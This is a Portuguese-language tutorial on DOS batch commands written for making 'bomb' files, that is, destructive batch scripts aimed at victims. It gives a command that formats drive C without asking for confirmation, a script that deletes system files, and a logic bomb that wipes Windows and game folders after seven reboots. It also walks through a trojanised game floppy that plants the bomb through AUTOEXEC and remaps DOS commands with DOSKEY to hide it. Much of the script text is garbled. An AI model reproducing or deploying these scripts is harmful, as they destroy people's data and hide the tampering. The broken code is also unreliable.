Comandos do DOS

 Essa parte contém vários comandos que podem ser utilizados não só em BADCOMS mas em batches inofensivos. Para maiores informações sobre os comandos do DOS escreva HELP no prompt ou se quiser saber mais sobre um determinado comando escreva o comando e adicione a opção /?.

 

Exemplos: C:\ echo /?

C:\ format /?

C:\ for /?

 

 2.1) ECHO

2.2) DEL/ERASE

2.3) DELTREE

2.4) FORMAT

2.5) FOR

2.6) IF

2.7) SET/VARIÁVEIS NO DOS

2.8) GOTO

2.9) VER

2.10) VOL

2.11) CLS

2.12) ATTRIB

2.13) CALL

2.14) CHOICE E ERROR LEVELS

2.15) COPY

2.16) CTTY

2.17) DIR

2.18) TYPE

2.19) MORE

2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR

2.21) LABEL

2.22) FIND

2.23) PAUSE

2.24) REN/RENAME

2.25) SUBST

2.26) TIME

2.27) REM

2.28) DOSKEY

2.29) XCOPY

 

 

 

2.1) ECHO

Sintaxe: ECHO [string] Exemplo: C> echo Teste

Teste

 

O comando ECHO, de forma geral, exibe uma string na tela. Caso essa string seja OFF, desativar a exibição dos comandos na tela. Se for ON, ativar a mesma.

 

Exemplo de arquivo:

 

[echo1.bat]

echo on

echo ECHO esta ativado echo off

echo ECHO esta desativado

 

Quando você rodar esse programa, ver o seguinte: C> echo on

C> echo ECHO esta ativado

ECHO esta ativado

C> echo off

ECHO esta desativado

 

Colocar uma @ antes do primeiro comando de cada linha, equivale ao ECHO OFF, mas apenas nessa linha. Para que o programa fique

melhor, aconselha-se colocar o comando @ECHO OFF na PRIMEIRA linha do programa, assim você não precisa colocar uma @ antes de cada linha.

 

 

2.2) DEL/ERASE

Sintaxe: DEL [nome_do_arquivo] ERASE [nome_do_arquivo]

Exemplos: C> del autoexec.bat

C> erase autoexec.bat

 

Esse comando não precisa de muita explicação. Apenas exclui o arquivo especificado. WildCards podem ser usadas (* e ?).

 

 

2.3) DELTREE

Sintaxe: DELTREE (/Y) [nome_do_arquivo] Exemplos: C> deltree c:\windows

C> deltree /y c:\games

 

Também não tem muito segredo. Exclui um diretório e tudo que tiver dentro dele. A opção /Y detona tudo sem pedir confirmação mas deve ser usado logo apos o comando DELTREE. Isso não funcionaria:

 

C> deltree c:\windows /y

 

 

2.4) FORMAT

Sintaxe: FORMAT (/Q) (/U) (/V:label) [unidade_a_ser_detonada] Exemplos: C> format /q a:

C> format /u c:

 

O comando mais divertido que pode ser usado em BADCOMS. Apaga o drive especificado literalmente. A opção /Q realiza uma formatação

rápida e /U realiza uma formatação incondicional. A opção /V:label

 

Especificar o nome do volume da unidade, não tem muito segredo… Mas se o drive especificado for um HD aparecer uma pergunta, que o cara responde não e mantém o HD a salvo.

Veja mais a frente como resolver isso.

 

 

 

 

2.5) FOR

Sintaxe: FOR %a in (arquivo1 arquivo2…) DO [comando] %a

Exemplo: C> for %a in (autoexec.bat config.sys) do del %a

 

Vamos supor que você queira executar o mesmo comando pra vários arquivos. Ao invés de escrever o mesmo comando muitas vezes, use o comando FOR. Explicando detalhadamente: o comando FOR define uma variável chamada %a (ou qualquer letra) e define o

valor dessa variável com os nomes que estão entre parênteses.

Feito isso, executa um comando cujo parâmetro principal ‚ a variável %a.

 

Outro exemplo:

 

C> for %a in (autoexec.bat config.sys command.com) do del %a

 

Faça o seguinte:

 

C> del autoexec.bat

C> del config.sys

C> del command.com

 

Simples, não?

 

 

2.6) IF

Sintaxe: IF [condição] [commando]

Exemplos: if exist c:\autoexec.bat del autoexec.bat if not exist c:\1.bat echo 1 j foi deletado

if “%1″==”Teste” echo Teste

if not “%1″==”Teste” echo Don’t Teste if error level 1 goto 1

 

O comando IF testa uma condicional e se ela for verdadeira, executa um comando. O primeiro exemplo verifica se existe o arquivo c:\autoexec.bat e se existir, deleta ele. O segundo exemplo testa se o arquivo c:\autoexec.bat NÇO existe. Se não existir, exibe a mensagem “1 já foi deletado”. O terceiro exemplo testa se a variável %1 ‚ igual a “Teste”. Se for, exibe a mensagem “Teste”. O quarto exemplo testa se a variável%1 ‚

DIFERENTE de ” Teste”. Se for, exibe a mensagem “Don’t Teste”.

O Último exemplo testa se foi retornado um erros level igual a 1. Veja sobre os erros levels mais a frente.

 

 

2.7) SET/VARIAVEIS NO DOS Sintaxe: SET [variável] = [valor]

Exemplos: set variável = Teste set drive = C:\

 

O comando SET define uma variavel de ambiente no DOS. Isso ‚

 

muito £til na programação de batches. Acho que com um exemplo fica melhor de explicar:

 

C> set scream=argh

 

Isso criar uma variavel chamada “scream” e definir seu valor como “argh”. Se você escrever no DOS:

 

C> echo %scream%

Ver a palavra “argh” no lugar de “%scream%”: C> echo %scream%

argh

 

Ou seja, sempre que você quiser fazer uma referência a uma variável definida, usa-se %nome_da_variavel%. Como unir duas

variáveis em uma s¢: suponhamos que você tenha duas variáveis. Uma chamada “bah1″ com o valor “1234567″ e outra chamada “bah2″ com o valor “8910″ se você quiser juntar as duas, ‚ s¢ fazer o seguinte:

 

C> set BAAAAHHH=%bah1%; %bah2%

 

Neste exemplo estúpido que eu dei não parece ser uma coisa muito £til, mas não se engane porque ! Outro tipo de variavel são

as especificadas na linha de comando. Elas são %1, %2, %3 até‚ %9. Como eu disse elas são especificadas na linha de comando, ou seja quando você roda o batch. Exemplo:

 

[hd_teste.bat]

@echo off

if “%1″ == “” goto erro

echo Preparando pra apagar o drive %1!

format %1

goto fim

 

:erro

echo Seu imbecil, especifique o drive que você quer detonar!

goto fim

 

:fim

 

Rodando o arquivo dessa maneira… C> hd_teste C:

…você ver o seguinte:

 

Preparando pra teste o drive C:!

AVISO, TODOS OS DADOS NO DISCO NÇO-REMOVÖVEL UNIDADE C: SERÇO PERDIDOS!

Continuar com o Format (S/N)?

 

Mas se não especificar nenhum parametro… C> hd_teste

…resulta em:

 

Seu imbecil, especifique o drive que você quer detonar!

 

Como você p”de perceber, 1% nesse exemplo era igual a C:. Note que foi utilizado o comando IF para verificar se a variável

%1 era existente. Outra coisa que não pode passar despercebida foi o uso do comando GOTO que ser explicado logo a seguir…

Mais um detalhe: o FORMAT pediu a confirmação idiota antes de detonar o HD… Em breve resolveremos isso… 8-)

 

 

2.8) GOTO

Sintaxe: GOTO [nome]

Exemplos: goto hora_de_apagar_o_hd goto erro

 

O comando GOTO s¢ pode ser usado dentro de arquivos batch e serve para direcionar o programa para a linha especificada em

[nome]. Quando o DOS encontra essa linha, executa todos os comandos existentes a partir dela. O nome da linha ‚ especificado com um :[nome]. Exemplo:

 

[goto.bat]

@echo off goto Teste

echo Você vai se teste…

 

: Teste

echo Se teste!

 

Muito simples. Logo no começo do programa DOS ‚ direcionado para

a linha chamada “Teste” e exibe a mensagem “Se teste!”, ou seja,

a segunda linha, “echo Você vai se teste…” não ‚ executada porque o DOS foi direcionado pra uma linha após esse comando.

LOOPS INFINITOS: muito fácil. Basta ver o exemplo abaixo:

 

[loop.bat]

@echo off

:loop dir

goto loop

 

Isso roda o comando DIR infinitamente, até‚ o cara apertar CTRL+C

ou desligar o computador…

 

 

2.9) VER Sintaxe: VER

Exemplo: BAH!

 

Exibe qual a versão do DOS você esta usando.

Aparentemente ‚ um comando idiota e sem utilidade mas com um pouco de criatividade ele se torna um comando MUITO £til… Você vai entender mais pra frente…

 

 

2.10) VOL Sintaxe: VOL

 

Exemplo: BAH!

 

Mostra o nome de volume da sua unidade… Semelhante ao comando acima, muito £til pra quem ‚ criativo.

 

 

2.11) CLS Sintaxe: CLS

Exemplo: BAH!

 

Apaga tudo que tem na tela.

 

 

2.12) ATTRIB

Sintaxe: ATTRIB (+A) (+R) (+H) (+S) [nome_do_arquivo] ATTRIB (-A) (-R) (-H) (-S) [nome_do_arquivo]

Exemplos: attrib +h c:\ruimdows attrib +s c:\config.sys attrib -r c:\command.com

 

 

Define um atributo pra um arquivo ou diretório.         obvio que o sinal de mais (+) indica que um atributo esta sendo definido e um sinal de menos (-) indica que um atributo esta sendo removido. Os atributos são:

 

A -> Atributo de Arquivo. Que diabos ‚ isso? Vamos supor que você queira copiar todos os arquivos que estão em um disquete para outro, menos os de extensão .VIR. O que você faz?

 

C> attrib +a a:\*.* C> attrib -a a:\*.vir

 

A¡ você usa o comando XCOPY: C> xcopy a: b: /a

Meio esquisito, mas ‚ isso…

 

R -> Atributo de somente para leitura. O arquivo não pode ser modificado ou deletado a não ser que o atributo seja removido.

 

H -> Atributo de arquivo oculto. S¢ um burro pra não perceber que isso esconde o arquivo.

 

S -> Atributo de arquivo de sistema. Acho que, na pratica, ‚ a mesma coisa que o atributo H.

 

 

2.13) CALL

Sintaxe: CALL [nome_do_arquivo_batch] Exemplo: call vírus.bat

 

Comando usando DENTRO de arquivos batch que serve para chamar OUTROS arquivos batch, ou seja, roda outro arquivo batch mas sem parar de rodar o primeiro. Exemplo:

 

[1.bat]

@echo off

echo Esse ‚ o arquivo batch 1… call 2.bat

echo De volta pro batch 1…

 

[2.bat]

@echo off

echo Esse ‚ o arquivo batch 2…

 

Resulta em: C> 1

Esse ‚ o arquivo batch 1… Esse ‚ o arquivo batch 2… De volta pro batch 1…

 

 

2.14) CHOICE & ERROR LEVELS Sintaxe: CHOICE /C:[teclas] [texto]

Exemplo: choice /c:123 escolha uma opção:

 

Esse comando exibe uma mensagem, espera que o usuário escolha uma das teclas especificadas e retorna um valor de error level,

de acordo com a tecla.

 

[fuck.bat]

@echo off

choice /c:123 Escolha uma opção:

if error level 3 goto opcao3 if error level 2 goto opcao2 if error level 1 goto opcao1

 

:o pcao1

echo Opção escolhida goto fim

 

:o pcao2

echo Opção 2 escolhida goto fim

 

:o pcao3

echo Opção 3 escolhida goto fim

 

:fim

Rodando isso, vai acontecer o seguinte: C> fuck

Escolha uma opção:[1,2,3]?

Se você escolher a opção 1: C> fuck

Escolha uma opção:[1,2,3]?1

Opção 1 escolhida

 

Se escolher a 2:

 

C> fuck

Escolha uma opção:[1,2,3]?2

Opção 2 escolhida

E por Último: C> fuck

Escolha uma opção:[1,2,3]?3

Opção 3 escolhida

 

Ou seja, o comando CHOICE ‚ muito ‚til para a criação de menus, etc.

 

Mas o que diabos são os ERROR LEVELS? São valores retornados pelos comandos do DOS, de acordo com o que causou o fim do programa.

Geralmente, quando um comando/programa pra DOS termina normalmente, sem nenhum erro, retorna um ERRORLEVEL igual a 0. Os outros valores variam de acordo com os comandos. Veja uma lista de ERROR LEVELS

mais adiante.

Os erros levels s¢ podem ser usados com o comando IF. Usando esse recurso, você tornar seus batches melhores pois o mesmo poder tomar decisões de acordo com o valor de error level.

Note que, quando você usa o comando CHOICE, o comando IF deve testar os valores de error level do maior para o menor.

Veja um exemplo:

 

[errorlev.bat]

@echo off

del autoexec.bat

if error level 0 echo NÇO OCORREU NENHUM PROBLEMA

Isso faça o seguinte: C> errorlev

NÇO OCORREU NENHUM PROBLEMA

 

Lógico que essa mensagem s¢ ser exibida se nenhum erro ocorrer. Explicando melhor: se não ocorrer nenhum problema na hora de deletar o arquivo, o DEL retornar um erros level 0. Você também

pode fazer assim:

 

[errorsuck.bat]

@echo off

del c:\config.sys

if not error level 0 goto OPS

echo Não ocorreu nenhum problema. goto fim

 

:OPS

echo Alguma coisa errada ocorreu. goto fim

 

:fim

 

Esse exemplo ‚ melhor, pois testa se o comando DEL NÇO retornou

 

um error level 0. Como o error level 0 significa que nada de errado ocorreu, um error level diferente de 0 significa que algo anormal aconteceu.

Se ocorrer algo anormal ele exibe a mensagem “Alguma coisa errada

ocorreu” mas se tudo der certo exibe “Não ocorreu nenhum problema”.

 

 

2.15) COPY

Sintaxe: COPY [origem] [destino] Exemplos: copy *.* c:\ruimdows

copy c:\win95\*.* c:\autoexec.bat

 

Copia os arquivos especificados para um diretório ou para outro arquivo.

 

 

2.16) CTTY

Sintaxe: CTTY [novo_dispositivo_de_entrada] Exemplo: ctty nul

 

Este comando altera o dispositivo de entrada de dados do padrão

(teclado) para outro que você especificar. Mais tarde você entender melhor isso…

 

 

2.17) DIR

Sintaxe: DIR [/S] [/P] [/W] [nome_do_arquivo] Exemplos: dir /s

dir autoexec.bat

 

Este comando não tem muito segredo. Se você não souber usar o comando DIR, escreva no prompt do DOS:

 

C> echo s | format c:

 

 

2.18) TYPE

Sintaxe: TYPE [nome_do_arquivo] Exemplo: type msdos.sys

 

Não tem complicação. Exibe o conteúdo de um arquivo (sem fazer pausa entre as paginas). Pode ser usado em conjunto com o comando MORE.

 

 

2.19) MORE

Sintaxe: MORE [nome_do_arquivo]

TYPE [nome_do_arquivo] | MORE (depende da versão do DOS) Exemplo: more sucks.txt

type badcom.faq | more

 

O comando MORE ‚ idêntico ao comando TYPE, mas ao final de cada

pagina, faz uma pausa. Em versões mais antigas do DOS, o MORE s¢

funciona se for feito um PIPE com o comando TYPE.

 

 

2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR

Sintaxe: MD [nome_do_diretório] ou MKDIR [nome_do_diretório]

 

CD [diretório] ou CHDIR [diretório]

RD [diretório_vazio] ou RMDIR [diretório_vazio]

 

MD/MKDIR cria um diretório, CD/CHDIR chama (vai para) um diretório e o RD/RMDIR deleta um diretório (s¢ se o dito cujo estiver VAZIO).

 

 

2.21) LABEL

Sintaxe: LABEL [nome_de_volume] Exemplo: label se_teste

 

Muda o nome de volume da unidade atual.

 

 

2.22) FIND

Sintaxe: FIND “string_procurada” [nome_do_arquivo] Exemplo: find “teste” c:\trash.txt

 

Procura por uma string em um determinado arquivo. Muito £til se utilizado juntamente com os erros levels.

 

 

2.23) PAUSE Sintaxe: PAUSE Exemplo: BAH!

 

Faz uma pausa no batch, até‚ que o usuário pressione qualquer tecla. Também exibe a mensagem “Pressione qualquer tecla para continuar…”

 

 

2.24) REN/RENAME

Sintaxe: REN [nome_do_arquivo] [novo_nome] RENAME [nome_do_arquivo] [novo_nome]

Exemplos: ren autoexec.bat noway.bat rename config.sys huahuahua.com

 

Muda o nome de um arquivo.

 

 

2.25) SUBST

Sintaxe: SUBST [nova_letra_de_unidade] [caminho] SUBST [unidade] /D

Exemplo: subst f: c:\fuck

subst f: /d

Define uma letra de unidade para um determinado diretório.

Se você usar a opção /D, o SUBST vai desativar a letra da unidade já CRIADA pelo comando SUBST. S¢ vai funcionar se houver a seguinte linha no CONFIG.SYS:

 

LASTDRIVE=Z

 

 

2.26) TIME Sintaxe: TIME Exemplo: BAH!

 

Exibe a hora atual.

 

 

2.27) REM

Sintaxe: REM [texto]

Exemplo: rem Este ‚ um comentário

 

O comando REM ‚ usado quando você quer adicionar um comentário ao seu batch.

 

 

2.28) DOSKEY

Sintaxe: DOSKEY [macro] [texto] /ECHO:on|off

Exemplo: doskey dir del *.*

 

O DOSKEY tem v rias utilidades, mas s¢ vou explicar uma, talvez

a mais £til delas. Usando o DOSKEY você pode criar macros, ou seja atribuir comandos a palavras (como um ALIAS). A utilidade disso

num BADCOM ‚ que você pode trocar os comandos do DOS do cara por outros. Veja o exemplo acima. Esse exemplo faz com que o comando

DIR execute o comando DEL *.*. Você pode usar isso como um Time

Bom ou pode apenas deixar sua v com o saco cheio mudando todos os comandos do DOS para besteiras sem sentido nenhum.

A opção /ECHO define se os comandos da macro serão exibidos. Se for desativado, ‚ equivalente ao “@ECHO OFF”. Alguns caracteres especiais de codigo de definição de macro:

 

$T: Separador de comando. Permite v rios comandos em uma s¢

macro.

 

$1 a $9: Parametros da macro. Igual a %1 a %9.

 

$*: S¡mbolo substituído por tudo o nome da macro na linha de comando.

 

Um detalhe, se sua vítima pressionar ALT+F10 todas as macros que você criou serão desativadas.

 

 

2.29) XCOPY

Sintaxe: XCOPY [origem] [destino] [/S] Exemplo: xcopy c:\games d:\fuck /s

 

Semelhante ao COPY, s¢ que mais rápido, pois carrega todos os arquivos na memoria e s¢ depois copia-os. Se a opção /S for usada todos os subdiretórios e arquivos de um diretório também serão copiados.

 

 

 

 

 

 

 

 

COMANDOS BÁSICOS:

 

Bom, para iniciarmos temos que ter em mente que os arquivos .BAT

tem como objetivo guardar comandos pré digitados para executar quando solicitado. Esses arquivos são de muita utilidade, podemos criar sistemas de Backup, instalação de programas, etc…

No nosso caso, arquivos bomba. Os arquivos bomba nada mais são comandos que podem ser destrutivos ou não, de acordo

com o que pretendemos criar.

 

Para começarmos vou dar alguns dos comandos úteis para o nosso projeto

e depois exemplos de como eles podem ser utilizados para bombas destrutivas e não destrutivas.

 

 

 

 

 

——————————————————————————–

 

LISTA DE COMANDOS:

 

 

ECHO OFF

 

Serve para não mostrar na tela os comandos que o arquivo .BAT esta executando. Como por exemplo,

se vc faz um arquivo bomba e não usa este comando e o arquivo contem o comando DEL*.*

aparecera

na tela da vitima C:\DEL *.* assim dando tempo da vitima desligar o computador antes de ter seus

arquivos deletados. Se vc usar o comando ECHO OFF não aparecera nada na tela, e a vitima nem

saberá o que aconteceu.

 

 

——————————————————————————–

 

@ECHO

 

Serve para mostrar texto na tela, por exemplo eu quero que apareça na tela o seguinte texto:

 

======================== Seu computador foi destruído por:

Maquiavel

========================

 

Então eu terei que digitar:

 

@ECHO ========================

 

@ECHO Seu computador foi destruído por:

 

@ECHO M@quiavel

 

@ECHO ========================

 

 

 

 

ATENÇÃO:

 

Um erro que eu cometia, e já vi muita gente fazer é confundir os dois primeiros comandos da seguinte maneira:

 

@ECHO OFF < O cara queria digitar ECHO OFF e digitou @ECHO OFF

 

O comando @ECHO OFF ao invés de não mostrar os comandos na tela, vai mostrar na tela a palavra OFF.

 

O comando @ECHO OFF pode funcionar em alguns computadores dependendo da configuração, mas para não ariscar procure usar o comando ECHO OFF)

 

 

——————————————————————————–

 

 

 

 

ECHO >NOMEARQUIVO COMANDO

 

Serve para que um arquivo de lote (.BAT no nosso caso) crie outro arquivo. Exemplo: ECHO> PIRATA.BAT DIR

No nosso exemplo ele criou um arquivo chamado PIRATA.BAT que possui dentro dele o comando DIR

 

 

——————————————————————————– CLS

Comando para limpar a tela.

 

 

——————————————————————————– ATTRIB

Comando que serve para ocultos, de sistema, etc. Para mais informações sobre o ATTRIB, digite no prompt do DOS ATTRIB/?

 

 

——————————————————————————– MD

Serve para criar diretórios, Exemplo:

 

MD PIRATA

 

 

——————————————————————————– CD

Serve para entrar em diretórios, exemplo:

 

CD PIRATA

 

 

——————————————————————————– COPY

Serve para copiar arquivos. Exemplo

 

COPY C:\AUTOEXEC.BAT

 

 

——————————————————————————– DEL

Serve para deletar arquivos, melhor maneira de usar o comando DEL é:

 

DEL *.COM < Ou a extensão que vc quiser, *.BAT *.EXE *.INI *.SYS etc…

 

Usando o comando dessa maneira, o programa não ira confirmar se vc realmente deseja excluir

o arquivo.

 

 

——————————————————————————– DELTREE

Existem três maneiras de utilizar o comando DELTREE:

 

1ª – DELTREE C:\WINDOWS < BUG, vai aparecer a pergunta se vc deseja realmente deletar o diretório WINDOWS.

 

2ª – DELTREE/Y C:\WINDOWS NULL é o comando ideal para o DELTREE.

 

 

——————————————————————————–

 

Bom, agora vamos colocar nossos conhecimentos em pratica. Vamos criar uma bomba chamada install.bat

 

no prompt do DOS digite EDIT INSTALL.BAT (ENTER)

 

Aparecera uma tela normalmente azul. Estando lá dentro vamos colocar os nossos comandos maus.

 

======inicio=======

 

ECHO OFF Vai para a unidade de disco C:\

 

CD\ ———————————< Sai de qualquer diretório que se possa estar

 

DEL *.SYS ————————- NULL ———————– o windows

 

CLS

 

@ECHO SEU COMPUTADOR FOI DETONADO POR:

 

@ECHO PIRATA

 

@ECHO HE HE HE HE HE HE HE HE HE HE HE HE

 

======fim=========

 

Pronto, temos um arquivo que deleta o Windows e arquivos .sys, e ainda deixa uma mensagem estúpida na tela da vitima.

 

PARA EXECUTAR A BOMBA BASTA DIGITAR INSTALL

 

 

——————————————————————————–

 

O TEXTO ACIMA DA UMA NOÇÃO MUITO BASICA DO QUE SIMPLES ARQUIVOS BAT PODEM FAZER, PARA FAZER ARQUIVOS QUE SÃO REALMENTE BOMBAS

LEIA OS TEXTOS SOBRE CRIAÇÃO DE BOMBA .BAT NO MODO INTERMEDIARIO, E AVANÇADO.

 

 

——————————————————————————–

 

 

 

 

AVANÇADO

 

Agora a diversão vai começar, vamos colocar todo o nosso conhecimento em pratica.

Para começar vamos mostrar como fazer um arquivo, que dobra o seu tamanho cada vez que o computador é ligado.

 

 

A função desses arquivos são muito simples, são três arquivos que devem ser colocados na raiz (C:\) do computador da vitima. Esse arquivos vão colocar um arquivo .DLL no

system do Windows, e esse arquivo vai dobrar o seu tamanho cada vez que o computador for ligado.

 

DOBLESPACE é o Nome que eu dei para o arquivo. Arquivos a ser criado:

WIN.BAT

 

A.BAT AUTO.BAT

 

——————————————————————————–

 

WIN.BAT

 

=====inicio=====

 

echo off c:

cd\ md p cd p

if exist auto.pty goto www

 

copy c:\autoexec.bat c:\p\auto.pty echo> p.pty c:\auto.bat

cd\

 

copy c:\p\*.* c:\autoexec.bat

 

:www cd\ a.bat

=====fim=====

 

 

——————————————————————————– A.BAT

=====inicio=====

 

del win.bat

 

CLS WIN

=====fim=====

 

 

——————————————————————————– AUTO.BAT

=====inicio=====

 

echo off c:

 

cd\

 

cd windows

 

echo> windows.ppp test se o arquivo for encontrado, é porque não existe o diretório Windows, então ele vai para a opção win, caso contrario ele vai para a próxima linha

 

cd windows cd system cd configs

echo> windows.ppp test procura pelo arquivo spaece.dll, se ele já existir ele vai para :22

 

echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg copia o arquivo spaece.dll como teste.dll

 

copy c:\windows\system\spaece.dll c:\windows\system\configs\off.dll junta os dois arquivos, e

o copia como spaece.dll, assim duplicando o seu tamanho.

 

del o*.dll deleta as copias cd\

goto fim

 

:win win.ppp test cd\

if exist win.ppp goto win95

 

cd win

 

md system cd system cd configs

echo> win.ppp test

 

cd\

 

cd win

 

cd system

 

if not exist win.ppp goto 3

 

md configs goto 3

:3

 

if exist spaece.dll goto 23

 

echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg

 

:23

 

cd configs

 

copy c:\win\system\spaece.dll c:\win\system\configs\teste.dll copy c:\win\system\spaece.dll c:\win\system\configs\off.dll copy c:\win\system\configs\*.* c:\win\system\spaece.dll

del o*.dll

 

del t*.dll cd\

goto fim

 

:win95

 

c:

 

cd\

 

cd win95

 

echo> win95.ppp test cd\

if exist win95.ppp goto win-95

 

cd win95 md system cd system cd configs

echo> win95.ppp test

 

cd\

 

cd win95

 

cd system

 

if not exist win95.ppp goto 4

 

md configs goto 4

:4

 

if exist spaece.dll goto 24

 

echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg

 

:24

 

cd configs

 

copy c:\win95\system\spaece.dll c:\win95\system\configs\teste.dll copy c:\win95\system\spaece.dll c:\win95\system\configs\off.dll copy c:\win95\system\configs\*.* c:\win95\system\spaece.dll

del o*.dll

 

del t*.dll cd\

goto fim

 

:win-95

 

c:

 

cd\

 

cd win-95

 

echo> win-95.ppp test cd\

if exist win-95.ppp goto dos

 

cd win-95 md system cd system cd configs

echo> win-95.ppp test cd\

cd win-95

 

cd system

 

if not exist win-95.ppp goto 5

 

md configs goto 5

 

:5

 

if exist spaece.dll goto 25

 

echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg

 

:25

 

cd configs

 

copy c:\win-95\system\spaece.dll c:\win-95\system\configs\teste.dll copy c:\win-95\system\spaece.dll c:\win-95\system\configs\off.dll copy c:\win-95\system\configs\*.* c:\win-95\system\spaece.dll

del o*.dll del t*.dll cd\

goto fim

 

:dos c: cd\

cd dos

 

echo> dos.ppp test cd\

if exist dos.ppp goto off cd dos

md system

 

cd system cd configs

echo> dos.ppp test

 

cd\

 

cd dos

 

cd system

 

if not exist dos.ppp goto 6md configs goto 6

 

:6

 

if exist spaece.dll goto 26

 

echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg

 

:26

 

cd configs

 

copy c:\dos\system\spaece.dll c:\dos\system\configs\teste.dll copy c:\dos\system\spaece.dll c:\dos\system\configs\off.dll copy c:\dos\system\configs\*.* c:\dos\system\spaece.dll

del o*.dll del t*.dll cd\

goto fim

 

:o ff < Aqui, como ele não achou diretório Windows, Win, WIn95, Win-95 ou DOS, como ultimo recurso ele cria o Off

 

c:\

 

cd\

 

md off cd off

md system

 

cd system cd configs

echo> off.ppp test

 

cd\

 

cd off

 

cd system

 

if not exist off.ppp goto 7

 

md configs goto 7

:7

 

if exist spaece.dll goto 27

 

echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg

 

:27

 

cd configs

 

copy c:\off\system\spaece.dll c:\off\system\configs\teste.dll copy c:\off\system\spaece.dll c:\off\system\configs\off.dll copy c:\off\system\configs\*.* c:\off\system\spaece.dll

del o*.dll

 

del t*.dll cd\

goto fim

 

:fim cls

=====fim=====

 

O ARQUIVO ACIMA FOI TIRADO DO VIRUS DE MACRO OFF.A, ISSO É PARA VER COMO OS ARQUIVOS .BAT SÃO UTEIS PARA MUITAS COISAS, ATÉ PARA VIRUS.

 

 

——————————————————————————–

 

Agora um arquivo que só ataca o computador depois que ele for re-ligado 7 vezes.

 

O que acontece, é muito simples, da primeira vez que o computador é ligado o WIN.BAT cria o arquivo lig1.drv, da segunda vez, ele cria o lig2.drv ….. da sexta vez ele cria o lig6.drv e da sétima vez ele procura pelo arquivo lig6.drv, se ele encontrar ele vai deletar o windows e o diretório onde estão os jogos.

 

BOMBA RELOGIO WIN.BAT

=====inicio=====

 

c:\

 

cd\

 

echo off

 

if exist lig1.drv goto 2 echo > lig1.drv sdfsdf goto fim

 

:2

 

if exist lig2.drv goto 3 echo > lig2.drv sdfsdf goto fim

:3

 

if exist lig3.drv goto 4 echo > lig3.drv sdfsdf goto fim

:4

 

if exist lig4.drv goto 5 echo > lig4.drv sdfsdf goto fim

:5

 

if exist lig5.drv goto 6 echo > lig4.drv sdfsdf goto fim

:6

 

if exist lig6.drv goto 7 echo > lig6.drv sdfsdf goto fim

:7

 

delete/y c:\windows >null

 

 

delete/y c:\win >null delete/y c:\win-95 >null delete/y c:\win_95 >null delete/y c:\win95 >null delete/y c:\dos >null delete/y c:\jogos >null

 

delete/y c:\games >null del *.* >null

:fim

 

=====fim=====

 

 

——————————————————————————– Arquivo para travar o computador da vitima.

TRAVO!!!

 

WIN.BAT

 

=====inicio=====

 

c:\

 

cd\

 

echo off

 

echo > trav.exe sdfsdfsdf executa o arquivo exe, resultando no travamento do computador.

 

=====fim=====

 

 

——————————————————————————–

 

Para finalizar, veja como criar um arquivo bomba a partir de um disquete, para dar aquele seu vizinho

chato que vive pedindo tudo quanto é jogo. O arquivo não deixara rastro para ninguém nem se quer imaginar

que foi do seu disco que saiu a bomba, e a bomba só atacara depois que o computador for re- iniciado 7 vezes.

 

Bom, primeiro de tudo, pegue um jogo qualquer e passe para disquete (no nosso exemplo será usado o jogo prince)

depois serão criados 6 arquivos que devem ficar na raiz do disquete:

 

INSTALL.BAT T.BAT WIN.PTY A.PTY AUTO.PTY INSTALL.PTY

 

——————————————————————————–

 

INSTALL.BAT

 

=====inicio=====

 

echo Off c:\

cd\

 

copy a:\win.pty renomeia os arquivos .pty para .bat a:

delete/y a.pty >null null delete/y win.pty >null delete/y t.bat >null

del null

 

c:\ cd\ t.bat

=====fim=====

 

 

——————————————————————————– T.BAT

=====inicio=====

 

a:\

 

delete/y install.bat >null null

 

rename install.pty install.bat daqui pra frente é só a instalação do jogo. c:\

cd\

 

md prince cd prince copy a:\*.*

delete/y install.bat >null

 

del null cls

 

@echo Jogo instalado em c:\prince

 

=====fim=====

 

 

 

 

——————————————————————————– WIN.PTY

=====inicio=====

 

echo off c:

cd\ md p cd p

if exist auto.pty goto www

 

copy c:\autoexec.bat c:\p\auto.pty echo> p.pty c:\auto.bat

cd\

 

copy c:\p\*.* c:\autoexec.bat os dois arquivos pty, assim colocando no fim do autoexec um comando para que o arquivo auto.bat seja executado.

 

:www cd\ a.bat

=====fim=====

 

 

——————————————————————————– A.PTY

=====inicio=====

 

echo off

 

del win.bat del t.bat CLS

WIN

 

=====fim=====

 

 

——————————————————————————– AUTO.PTY

=====inicio=====

 

echo off c:

cd\

 

if exist lig1.drv goto 2 <é aquele mesmo arquivo BOMBA RELOGIO

 

echo > lig1.drv sdfsdf goto fim

:2

 

if exist lig2.drv goto 3 echo > lig2.drv sdfsdf goto fim

:3

 

if exist lig3.drv goto 4 echo > lig3.drv sdfsdf goto fim

:4

 

if exist lig4.drv goto 5 echo > lig4.drv sdfsdf goto fim

:5

 

if exist lig5.drv goto 6 echo > lig4.drv sdfsdf goto fim

:6

 

if exist lig6.drv goto 7

 

echo > lig6.drv sdfsdf goto fim

:7

 

doskey cd dir/s doskey dir mem doskey copy dir doskey del dir/s doskey delete dir/s doskey doskey cls

attrib +r c:\autoexec.bat

 

attrib +r c:\auto.bat

 

:fim cls

=====fim=====

 

 

——————————————————————————– INSTALL.PTY

=====inicio=====

 

echo Off é o install que ficara no disquete depois que a bomba foi executada, assim eliminando qualquer suspeita.

 

c:\

 

cd\

 

md prince cd prince copy a:\*.* cls

@echo Jogo instalado em c:\prince

 

=====fim=====

 

 

——————————————————————————–

 

Como vocês viram os arquivos .BAT são muito úteis, e tem mais, para aqueles que querem

 

fazer vírus de macro no word, mais sabem muito pouco sobre programação em word basic, podem dar uma olhada em um pequeno tutorial sobre o vírus de macro para word em inglês

e português PIRATA, que utiliza como ataque os arquivos .BAT vale a pena olhar a parte

sobre vírus para ver que o potencial dos arquivos .BAT não fica só no que foi mostrado aqui.

 

 

——————————————————————————– INTERESSANTE.

Existem programas que transformam esses arquivos .BAT em .COM, é muito fácil de usar,

